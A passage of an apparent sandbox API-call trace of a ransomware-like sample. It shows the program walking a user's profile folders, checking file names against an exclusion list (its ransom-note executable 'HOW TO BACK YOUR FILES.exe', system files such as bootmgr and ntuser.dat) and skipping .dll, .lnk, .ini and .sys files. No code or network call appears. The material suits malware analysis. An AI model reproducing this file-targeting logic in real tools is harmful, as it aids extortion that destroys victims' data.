	[0040.182] lstrcmpiW (lpString1="Downloads", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.182] lstrcmpiW (lpString1="Downloads", lpString2="Apollon865.txt.exe") returned 1
	[0040.182] lstrcmpiW (lpString1="Downloads", lpString2=".") returned 1
	[0040.182] lstrcmpiW (lpString1="Downloads", lpString2="..") returned 1
	[0040.182] lstrcmpiW (lpString1="Downloads", lpString2="windows") returned -1
	[0040.182] lstrcmpiW (lpString1="Downloads", lpString2="bootmgr") returned 1
	[0040.182] lstrcmpiW (lpString1="Downloads", lpString2="temp") returned -1
	[0040.182] lstrcmpiW (lpString1="Downloads", lpString2="pagefile.sys") returned -1
	[0040.182] lstrcmpiW (lpString1="Downloads", lpString2="boot") returned 1
	[0040.182] lstrcmpiW (lpString1="Downloads", lpString2="ids.txt") returned -1
	[0040.182] lstrcmpiW (lpString1="Downloads", lpString2="ntuser.dat") returned -1
	[0040.182] lstrcmpiW (lpString1="Downloads", lpString2="perflogs") returned -1
	[0040.182] lstrcmpiW (lpString1="Downloads", lpString2="MSBuild") returned -1
	[0040.182] lstrlenW (lpString="Downloads") returned 9
	[0040.182] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 39
	[0040.182] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads"
	[0040.182] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", dwFileAttributes=0x10) returned 1
	[0040.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0040.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bcac0
	[0040.183] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0040.183] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
	[0040.183] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.183] lstrcmpiW (lpString1="Favorites", lpString2="Apollon865.txt.exe") returned 1
	[0040.183] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1
	[0040.183] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1
	[0040.183] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1
	[0040.183] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1
	[0040.183] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1
	[0040.183] lstrcmpiW (lpString1="Favorites", lpString2="pagefile.sys") returned -1
	[0040.183] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1
	[0040.183] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1
	[0040.183] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1
	[0040.183] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1
	[0040.183] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1
	[0040.183] lstrlenW (lpString="Favorites") returned 9
	[0040.183] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned 39
	[0040.183] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites"
	[0040.183] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", dwFileAttributes=0x10) returned 1
	[0040.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0040.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bcb18
	[0040.183] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0040.183] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x300eee10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x300eee10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.183] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.183] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
	[0040.183] lstrcmpiW (lpString1="Links", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.183] lstrcmpiW (lpString1="Links", lpString2="Apollon865.txt.exe") returned 1
	[0040.184] lstrcmpiW (lpString1="Links", lpString2=".") returned 1
	[0040.184] lstrcmpiW (lpString1="Links", lpString2="..") returned 1
	[0040.184] lstrcmpiW (lpString1="Links", lpString2="windows") returned -1
	[0040.184] lstrcmpiW (lpString1="Links", lpString2="bootmgr") returned 1
	[0040.184] lstrcmpiW (lpString1="Links", lpString2="temp") returned -1
	[0040.184] lstrcmpiW (lpString1="Links", lpString2="pagefile.sys") returned -1
	[0040.184] lstrcmpiW (lpString1="Links", lpString2="boot") returned 1
	[0040.184] lstrcmpiW (lpString1="Links", lpString2="ids.txt") returned 1
	[0040.184] lstrcmpiW (lpString1="Links", lpString2="ntuser.dat") returned -1
	[0040.184] lstrcmpiW (lpString1="Links", lpString2="perflogs") returned -1
	[0040.184] lstrcmpiW (lpString1="Links", lpString2="MSBuild") returned -1
	[0040.184] lstrlenW (lpString="Links") returned 5
	[0040.184] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 39
	[0040.184] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Links" | out: lpString1="Links") returned="Links"
	[0040.184] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", dwFileAttributes=0x10) returned 1
	[0040.184] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0040.184] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bdca8
	[0040.184] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0040.184] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1
	[0040.184] lstrcmpiW (lpString1="Local Settings", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.184] lstrcmpiW (lpString1="Local Settings", lpString2="Apollon865.txt.exe") returned 1
	[0040.184] lstrcmpiW (lpString1="Local Settings", lpString2=".") returned 1
	[0040.184] lstrcmpiW (lpString1="Local Settings", lpString2="..") returned 1
	[0040.184] lstrcmpiW (lpString1="Local Settings", lpString2="windows") returned -1
	[0040.184] lstrcmpiW (lpString1="Local Settings", lpString2="bootmgr") returned 1
	[0040.184] lstrcmpiW (lpString1="Local Settings", lpString2="temp") returned -1
	[0040.184] lstrcmpiW (lpString1="Local Settings", lpString2="pagefile.sys") returned -1
	[0040.184] lstrcmpiW (lpString1="Local Settings", lpString2="boot") returned 1
	[0040.184] lstrcmpiW (lpString1="Local Settings", lpString2="ids.txt") returned 1
	[0040.184] lstrcmpiW (lpString1="Local Settings", lpString2="ntuser.dat") returned -1
	[0040.184] lstrcmpiW (lpString1="Local Settings", lpString2="perflogs") returned -1
	[0040.184] lstrcmpiW (lpString1="Local Settings", lpString2="MSBuild") returned -1
	[0040.185] lstrlenW (lpString="Local Settings") returned 14
	[0040.185] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned 35
	[0040.185] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings"
	[0040.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0040.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5a) returned 0x5c5528
	[0040.185] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0040.185] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1cb652e0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1cb652e0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1
	[0040.185] lstrcmpiW (lpString1="Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.185] lstrcmpiW (lpString1="Music", lpString2="Apollon865.txt.exe") returned 1
	[0040.185] lstrcmpiW (lpString1="Music", lpString2=".") returned 1
	[0040.185] lstrcmpiW (lpString1="Music", lpString2="..") returned 1
	[0040.185] lstrcmpiW (lpString1="Music", lpString2="windows") returned -1
	[0040.185] lstrcmpiW (lpString1="Music", lpString2="bootmgr") returned 1
	[0040.185] lstrcmpiW (lpString1="Music", lpString2="temp") returned -1
	[0040.185] lstrcmpiW (lpString1="Music", lpString2="pagefile.sys") returned -1
	[0040.185] lstrcmpiW (lpString1="Music", lpString2="boot") returned 1
	[0040.185] lstrcmpiW (lpString1="Music", lpString2="ids.txt") returned 1
	[0040.185] lstrcmpiW (lpString1="Music", lpString2="ntuser.dat") returned -1
	[0040.185] lstrcmpiW (lpString1="Music", lpString2="perflogs") returned -1
	[0040.185] lstrcmpiW (lpString1="Music", lpString2="MSBuild") returned 1
	[0040.185] lstrlenW (lpString="Music") returned 5
	[0040.185] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned 44
	[0040.185] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Music" | out: lpString1="Music") returned="Music"
	[0040.185] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", dwFileAttributes=0x10) returned 1
	[0040.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0040.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bde88
	[0040.185] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0040.185] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1
	[0040.185] lstrcmpiW (lpString1="My Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.185] lstrcmpiW (lpString1="My Documents", lpString2="Apollon865.txt.exe") returned 1
	[0040.185] lstrcmpiW (lpString1="My Documents", lpString2=".") returned 1
	[0040.186] lstrcmpiW (lpString1="My Documents", lpString2="..") returned 1
	[0040.186] lstrcmpiW (lpString1="My Documents", lpString2="windows") returned -1
	[0040.186] lstrcmpiW (lpString1="My Documents", lpString2="bootmgr") returned 1
	[0040.186] lstrcmpiW (lpString1="My Documents", lpString2="temp") returned -1
	[0040.186] lstrcmpiW (lpString1="My Documents", lpString2="pagefile.sys") returned -1
	[0040.186] lstrcmpiW (lpString1="My Documents", lpString2="boot") returned 1
	[0040.186] lstrcmpiW (lpString1="My Documents", lpString2="ids.txt") returned 1
	[0040.186] lstrcmpiW (lpString1="My Documents", lpString2="ntuser.dat") returned -1
	[0040.186] lstrcmpiW (lpString1="My Documents", lpString2="perflogs") returned -1
	[0040.186] lstrcmpiW (lpString1="My Documents", lpString2="MSBuild") returned 1
	[0040.186] lstrlenW (lpString="My Documents") returned 12
	[0040.186] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned 35
	[0040.186] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents"
	[0040.186] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0040.186] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x5983a8
	[0040.186] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0040.186] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1
	[0040.186] lstrcmpiW (lpString1="NetHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.186] lstrcmpiW (lpString1="NetHood", lpString2="Apollon865.txt.exe") returned 1
	[0040.186] lstrcmpiW (lpString1="NetHood", lpString2=".") returned 1
	[0040.186] lstrcmpiW (lpString1="NetHood", lpString2="..") returned 1
	[0040.186] lstrcmpiW (lpString1="NetHood", lpString2="windows") returned -1
	[0040.186] lstrcmpiW (lpString1="NetHood", lpString2="bootmgr") returned 1
	[0040.186] lstrcmpiW (lpString1="NetHood", lpString2="temp") returned -1
	[0040.186] lstrcmpiW (lpString1="NetHood", lpString2="pagefile.sys") returned -1
	[0040.186] lstrcmpiW (lpString1="NetHood", lpString2="boot") returned 1
	[0040.186] lstrcmpiW (lpString1="NetHood", lpString2="ids.txt") returned 1
	[0040.186] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood"
	[0040.186] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0040.186] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bcb70
	[0040.186] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0040.186] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c30f920, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c30f920, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1
	[0040.186] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.187] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="Apollon865.txt.exe") returned 1
	[0040.187] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="ntuser.dat.LOG1" | out: lpString1="ntuser.dat.LOG1") returned="ntuser.dat.LOG1"
	[0040.187] lstrlenW (lpString="ntuser.dat.LOG1") returned 15
	[0040.187] lstrlenW (lpString="Apollon865") returned 10
	[0040.187] lstrcmpiW (lpString1="r.dat.LOG1", lpString2="Apollon865") returned 1
	[0040.187] lstrlenW (lpString=".dll") returned 4
	[0040.187] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".dll") returned 1
	[0040.187] lstrlenW (lpString=".lnk") returned 4
	[0040.187] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".lnk") returned 1
	[0040.187] lstrlenW (lpString=".ini") returned 4
	[0040.187] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".ini") returned 1
	[0040.187] lstrlenW (lpString=".sys") returned 4
	[0040.187] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".sys") returned 1
	[0040.187] lstrlenW (lpString="ntuser.dat.LOG1") returned 15
	[0040.187] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="ntuser.dat.LOG2" | out: lpString1="ntuser.dat.LOG2") returned="ntuser.dat.LOG2"
	[0040.187] lstrlenW (lpString="ntuser.dat.LOG2") returned 15
	[0040.187] lstrlenW (lpString="Apollon865") returned 10
	[0040.187] lstrcmpiW (lpString1="r.dat.LOG2", lpString2="Apollon865") returned 1
	[0040.187] lstrlenW (lpString=".dll") returned 4
	[0040.187] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".dll") returned 1
	[0040.187] lstrlenW (lpString=".lnk") returned 4
	[0040.187] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".lnk") returned 1
	[0040.187] lstrlenW (lpString=".ini") returned 4
	[0040.187] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".ini") returned 1
	[0040.187] lstrlenW (lpString=".sys") returned 4
	[0040.187] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".sys") returned 1
	[0040.187] lstrlenW (lpString="ntuser.dat.LOG2") returned 15
	[0040.187] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf"
	[0040.187] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55
	[0040.187] lstrlenW (lpString="Apollon865") returned 10
	[0040.187] lstrcmpiW (lpString1="ec}.TM.blf", lpString2="Apollon865") returned 1
	[0040.187] lstrlenW (lpString=".dll") returned 4
	[0040.187] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".dll") returned 1
	[0040.188] lstrlenW (lpString=".lnk") returned 4
	[0040.188] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".lnk") returned 1
	[0040.188] lstrlenW (lpString=".ini") returned 4
	[0040.188] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".ini") returned 1
	[0040.188] lstrlenW (lpString=".sys") returned 4
	[0040.188] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".sys") returned 1
	[0040.188] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55
	[0040.188] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms"
	[0040.188] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92
	[0040.188] lstrlenW (lpString="Apollon865") returned 10
	[0040.188] lstrcmpiW (lpString1="egtrans-ms", lpString2="Apollon865") returned 1
	[0040.188] lstrlenW (lpString=".dll") returned 4
	[0040.188] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".dll") returned 1
	[0040.188] lstrlenW (lpString=".lnk") returned 4
	[0040.188] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".lnk") returned 1
	[0040.188] lstrlenW (lpString=".ini") returned 4
	[0040.188] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".ini") returned 1
	[0040.188] lstrlenW (lpString=".sys") returned 4
	[0040.188] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".sys") returned 1
	[0040.188] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92
	[0040.188] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms"
	[0040.188] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92
	[0040.188] lstrlenW (lpString="Apollon865") returned 10
	[0040.188] lstrcmpiW (lpString1="egtrans-ms", lpString2="Apollon865") returned 1
	[0040.188] lstrlenW (lpString=".dll") returned 4
	[0040.188] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".dll") returned 1
	[0040.188] lstrlenW (lpString=".lnk") returned 4
	[0040.188] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".lnk") returned 1
	[0040.188] lstrlenW (lpString=".ini") returned 4
	[0040.188] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".ini") returned 1
	[0040.188] lstrlenW (lpString=".sys") returned 4
	[0040.188] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".sys") returned 1
	[0040.188] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92
	[0040.189] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="ntuser.ini" | out: lpString1="ntuser.ini") returned="ntuser.ini"
	[0040.189] lstrlenW (lpString="ntuser.ini") returned 10
	[0040.189] lstrlenW (lpString="Apollon865") returned 10
	[0040.189] lstrlenW (lpString=".dll") returned 4
	[0040.189] lstrcmpiW (lpString1="ntuser.ini", lpString2=".dll") returned 1
	[0040.189] lstrlenW (lpString=".lnk") returned 4
	[0040.189] lstrcmpiW (lpString1="ntuser.ini", lpString2=".lnk") returned 1
	[0040.189] lstrlenW (lpString=".ini") returned 4
	[0040.189] lstrcmpiW (lpString1="ntuser.ini", lpString2=".ini") returned 1
	[0040.189] lstrlenW (lpString=".sys") returned 4
	[0040.189] lstrcmpiW (lpString1="ntuser.ini", lpString2=".sys") returned 1
	[0040.189] lstrlenW (lpString="ntuser.ini") returned 10
	[0040.189] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures"
	[0040.189] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", dwFileAttributes=0x10) returned 1
	[0040.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0040.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4e) returned 0x5bcbc8
	[0040.189] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c90
	[0040.189] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1
	[0040.189] lstrcmpiW (lpString1="PrintHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.189] lstrcmpiW (lpString1="PrintHood", lpString2="Apollon865.txt.exe") returned 1
	[0040.189] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood"
	[0040.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0040.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bcc20
	[0040.189] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0040.189] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1
	[0040.189] lstrcmpiW (lpString1="Recent", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.189] lstrcmpiW (lpString1="Recent", lpString2="Apollon865.txt.exe") returned 1
	[0040.189] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Recent" | out: lpString1="Recent") returned="Recent"
	[0040.190] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
